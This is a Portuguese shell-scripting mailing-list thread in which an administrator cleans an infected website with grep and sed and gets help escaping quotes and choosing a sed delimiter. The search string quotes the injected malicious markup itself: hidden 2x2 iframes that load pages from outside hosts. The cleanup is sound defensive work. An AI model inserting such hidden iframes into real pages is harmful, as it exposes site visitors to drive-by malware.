shell-script-pt
[Top][All Lists]
Advanced

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [shell-script] Ajuda com aspas duplas no sed


From: Thiago M. Figueiredo
Subject: Re: [shell-script] Ajuda com aspas duplas no sed
Date: Thu, 11 Apr 2013 10:01:29 -0300

Funcionou show ;D

muito obrigado e um grande abraço
Atenciosamente
Thiago M. Figueiredo

------------------------------
Thiago M. Figueiredo
address@hidden
Cel: (55 11)9472-5713
address@hidden
http://www.thiagofigueiredo.com
Open Source o conhecimento é do mundo.
Usar software proprietário R$ 450,00 com MasterCard, usar software
livre não tem preço.... mas para todos os outros softwares existem os
cracks. .


Em 11 de abril de 2013 08:09, Flavio Cysne <address@hidden> escreveu:

> **
>
>
> É necessário "escapar" os caracteres "/" (barra) pois está sendo usado como
> delimitador da opção "s" do comando sed.
>
> Se não quiser sofrer tanto e não tiver nenhuma variável, tipo $var, no
> texto a ser substituído você pode usar apóstrofe ao invés de aspas e outro
> caractere como o pipe ( | barra vertical ) como delimitador. Tipo assim
>
> sed 's|<iframe src="http://www...";
> name="meuframe">...</iframe>|string_substituta|'
>
> Espero ter ajudado.
>
> Em 11 de abril de 2013 07:58, João Olavo Baião de Vasconcelos <
> address@hidden> escreveu:
>
>
> > 2013/4/10 Thiago M. Figueiredo <address@hidden>
> >
> > > **
> > > Esse é o erro:
> > >
> > > sed: 1: "s/<iframe src="http://m ...": bad flag in substitute command:
> > 'm'
> > >
> > > Esse é script que construi para fazer essa função.
> > >
> > > SUJEIRA="<iframe src="http://my.edu.au/404.php\";
> width=\"2\"height=\"2\"
> > > frameborder=\"0\"></iframe><iframe src=\"http://my.edu.au/404.php\";
> > > width=\"2\" height=\"2\"
> > > frameborder=\"0\"></iframe><iframe src=\"
> http://www.tlsgroup.ru/bit.php\
>  <http://www.tlsgroup.ru/bit.php>> "
> > > width=\"2\" height=\"2\" frameborder=\"0\"></iframe>";
> > >
> > Se escapar essa segunda aspas (src="http://my...) não resolve? A
> variável
> > $SUJEIRA está sendo guardada sem essa aspas.
> >
> > > LOCAL="/usr/local/www/cidademaiscrianca/httpdocs";
> > > ARQTEMPORARIO="/tmp/arquivo.txt"
> > >
> > > ARQUIVOS=`grep -irn $SUJEIRA $LOCAL/* | cut -d":" -f1`;
> > > for LIMPA in $ARQUIVOS; do
> > > sed "s/$SUJEIRA/ /g" $LIMPA > $ARQTEMPORARIO;
> > > cp $ARQTEMPORARIO $LIMPA;
> > > echo "Limpando arquivo $LIMPA";
> > > done
> > >
> > > Alguém já tentou usar sed com aspas duplas?
> > >
> > > muito obrigado
> > > atenciosamente,
> > > Thiago M. Figueiredo
> > >
> > > ------------------------------
> > > Thiago M. Figueiredo
> > > address@hidden
> > > Cel: (55 11)9472-5713
> > > address@hidden
> > > http://www.thiagofigueiredo.com
> > > Open Source o conhecimento é do mundo.
> > > Usar software proprietário R$ 450,00 com MasterCard, usar software
> > > livre não tem preço.... mas para todos os outros softwares existem os
> > > cracks. .
> > >
> > >
> >
> >
> >
> > --
> > João Olavo Baião de Vasconcelos
> > Analista de Sistemas - Infraestrutura
> >
> >
> > [As partes desta mensagem que não continham texto foram removidas]
> >
> >
> >
> > ------------------------------------
> >
> > ----------------------------------------------------------
> > Esta lista não admite a abordagem de outras liguagens de programação,
> como
> > perl, C etc. Quem insistir em não seguir esta regra será moderado sem
> > prévio aviso.
> > ----------------------------------------------------------
> > Sair da lista: address@hidden
>
> > ----------------------------------------------------------
> > Esta lista é moderada de acordo com o previsto em
> > http://www.listas-discussao.cjb.net
> > ----------------------------------------------------------
> > Servidor Newsgroup da lista: news.gmane.org
> > Grupo: gmane.org.user-groups.programming.shell.brazil
> >
> > Links do Yahoo! Grupos
> >
> >
> >
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>  
>


[As partes desta mensagem que não continham texto foram removidas]



reply via email to

[Prev in Thread] Current Thread [Next in Thread]